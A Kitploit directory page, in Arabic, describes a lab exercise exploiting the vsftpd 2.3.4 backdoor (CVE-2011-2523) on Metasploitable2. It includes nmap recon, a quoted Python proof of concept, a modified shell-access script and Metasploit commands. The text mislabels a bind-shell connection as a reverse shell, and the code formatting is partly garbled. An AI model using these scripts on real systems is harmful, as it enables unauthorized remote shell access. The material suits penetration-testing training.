Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2011-2523 — دليل استغلال يدوي وآلي لثغرة الباب الخلفي في vsftpd 2.3.4 (CVE-2011-2523) مع حمولة شل عكسية مخصصة وتكامل Metasploit للتدريب على اختبار الاختراق. | Kitploit
أدوات/GitHubGitHub/hklabcr/cve-2011-2523
أطر الاستغلالتحليل الثغرات الأمنيةالاستغلالCTFاختبار الاختراقالتعلم والتعليمتطوير الحمولاتمختبرات وتدريب عملي
GitHubhklabcr/cve-2011-2523

CVE-2011-2523

دليل استغلال يدوي وآلي لثغرة الباب الخلفي في vsftpd 2.3.4 (CVE-2011-2523) مع حمولة شل عكسية مخصصة وتكامل Metasploit للتدريب على اختبار الاختراق.

عرض المستودع
منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2011-2523

هذه ملاحظات لإنشاء منهجية الهجوم في بيئة خاضعة للتحكم. يُفترض أن التمرين هو صندوق أسود، وبالتالي لا أعرف معلومات عن النظام الضحية.

1- تحميل ISO المطلوبة لكل من Metasploitable2 و Kali أو أي توزيعة أخرى. 2- مهم: البيئة مُهيأة على VMware، لذا يجب تشغيل كلا الجهازين على هذا الهايبرفايزر. 3- العملية الأولية: تشغيل ip للتحقق من وجود اتصال بين الطرفين. 4- استخدام nmap -sV -Pn 192.168.253.128. بعد إجراء الاستطلاع، نجد منافذ متعددة. 21 ftp vsftpd 2.3.4

كجزء من التدريب، نهدف إلى مهاجمة كل منفذ للدخول بطرق متعددة. نبدأ بالمنفذ التالي. سيتم محاولة إنشاء حالة صندوق أسود لحل أو محاكاة ظروف حقيقية قدر الإمكان.

استغلال المنفذ 21 FTP

نبدأ باستخدام nmap -Pn -sV 10.0.2.5 نبحث في قواعد البيانات العامة ونجد CVE-2011-2523 وهو باب خلفي (backdoor) وسنحاول استغلاله للوصول إلى الجهاز الضحية.

أولاً، يجب أن نفهم أن هناك بابًا خلفيًا في الاستغلال الذي سيتم تنفيذه في هذه الحالة الخاصة. عند محاولة إيجاد طريقة لاختراق هذا النظام من خلال الثغرة الموجودة، نجد معلومات على packetstorm.news. يُقدم POC يثبت إمكانية الاستغلال ولكنه ليس وظيفيًا بالكامل كما يظهر في الكود التالي:

Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution

Date: 9-04-2021

Exploit Author: HerculesRD

Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html

Version: vsftpd 2.3.4

Tested on: debian

CVE : CVE-2011-2523

#!/usr/bin/python3

from telnetlib import Telnet import argparse from signal import signal, SIGINT from sys import exit

def handler(signal_received, frame): # Handle any cleanup here print(' [+]Exiting...') exit(0)

signal(SIGINT, handler)
parser=argparse.ArgumentParser()
parser.add_argument("host", help="input the address of the vulnerable host", type=str) args = parser.parse_args()
host = args.host
portFTP = 21 #if necessary edit this line

user="USER nergal:)" password="PASS pass"

tn=Telnet(host, portFTP) tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line tn.write(user.encode('ascii') + b"\n") tn.read_until(b"password.") #if necessary, edit this line tn.write(password.encode('ascii') + b"\n")

tn2=Telnet(host, 6200) print('Success, shell opened') print('Send exit to quit shell') tn2.interact()

عند قراءة الكود، يمكن فهم أن الهدف هو إثبات إمكانية الاستغلال وليس جعله سكريبتًا وظيفيًا. لذلك، ولإجراء ممارسات أكثر واقعية، قمت بتعديل جوهري لجعله يحتوي على شيل عكسي (reverse shell) يسمح بوصول أكثر ملاءمة منذ لحظة تنفيذ الكود. أدى تعديل الكود إلى النتيجة التالية: #!/usr/bin/env python3

import socket import sys import time

def connect_ftp(host, port=21): try: s = socket.socket() s.connect((host, port)) banner = s.recv(1024).decode(errors='ignore') print(f"[+] FTP Banner: {banner.strip()}")

root@kitploit:~
    # Enviar payload del backdoor
    s.sendall(b'USER backdoor:)\r\n')
    time.sleep(0.5)
    s.sendall(b'PASS whatever\r\n')
    time.sleep(0.5)
    s.close()

    return True
except Exception as e:
    print(f"[!] Error conectando al FTP: {e}")
    return False

def connect_backdoor_shell(host, port=6200): try: print(f"[+] Intentando conectar con la shell backdoor en {host}:{port}...") shell = socket.socket() shell.settimeout(3) shell.connect((host, port)) print("[+] ¡Shell obtenida!")

root@kitploit:~
    while True:
        cmd = input("shell> ")
        if cmd.strip().lower() == "exit":
            break
        shell.sendall((cmd + "\n").encode())
        # Lee todos los datos disponibles hasta timeout
        output = b""
        while True:
            try:
                chunk = shell.recv(4096)
                if not chunk:
                    break
                output += chunk
                # Espera un poco para ver si hay más datos
                time.sleep(0.1)
            except socket.timeout:
                break
        if output:
            print(output.decode(errors='ignore'))
        else:
            print("[!] Sin respuesta del shell.")

    shell.close()

except Exception as e:
    print(f"[!] Falló al conectar con la shell: {e}")

if name == "main": if len(sys.argv) != 2: print(f"Uso: {sys.argv[0]} ") sys.exit(1)

root@kitploit:~
target_ip = sys.argv[1]
if connect_ftp(target_ip):
    time.sleep(1)  # Da tiempo al backdoor para abrir el puerto
    connect_backdoor_shell(target_ip)
else:
    print("[!] No se pudo conectar o el objetivo no parece vulnerable.")

مما سبق، يمكن فهم أنه قد يكون طريقة يدوية معقدة لمواجهة هذا المثال، لكن الهدف هو إنشاء خيارات متنوعة للنمو في مجال أمن المعلومات وتحسين المهارات.

الطريقة الأخرى التي يمكن استخدامها هي استخدام Metasploit على النحو التالي: msfconsole use exploit/unix/ftp/vsftpd_234_backdoor set RHOSTS 10.0.2.5 run كما هو مفهوم، كلاهما يفعلان نفس الشيء تمامًا، لكن الأول مؤتمت والآخر عملية يدوية أكثر.

تنزيل الأداة